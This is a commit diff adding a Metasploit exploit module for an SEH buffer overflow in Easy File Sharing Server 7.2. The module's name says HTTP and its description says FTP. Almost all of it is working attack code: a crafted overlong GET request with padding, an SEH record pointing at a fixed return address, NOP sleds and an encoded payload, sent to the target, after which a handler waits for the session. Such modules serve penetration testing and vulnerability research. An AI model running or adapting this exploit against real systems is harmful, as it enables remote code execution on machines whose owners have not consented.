Land rapid7#6488, Add Easy File Sharing FTP Server 7.2 SEH BoF

Author: wchen-r7

modules/exploits/windows/http/easyfilesharing_seh.rb

@@ -0,0 +1,70 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::Seh
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
+      'Description'    => %q{
+        This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
+      },
+      'Author'         => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'EDB', '39008' ],
+        ],
+      'Privileged'     => true,
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+        },
+      'Payload'        =>
+        {
+          'Space'    => 390,
+          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
+          'StackAdjustment' => -3500,
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
+        ],
+      'DefaultOptions' => {
+          'RPORT' => 80
+        },
+      'DisclosureDate' => 'Dec 2 2015',
+      'DefaultTarget'  => 0))
+  end
+
+  def print_status(msg='')
+    super("#{peer} - #{msg}")
+  end
+
+  def exploit
+    connect
+    print_status("Sending exploit...")
+    sploit = "GET "
+    sploit << rand_text_alpha_upper(4061)
+    sploit << generate_seh_record(target.ret)
+    sploit << make_nops(19)
+    sploit << payload.encoded
+    sploit << make_nops(7)
+    sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
+    sploit << " HTTP/1.0\r\n\r\n"
+    sock.put(sploit)
+    print_good("Exploit Sent")
+    handler
+    disconnect
+  end
+end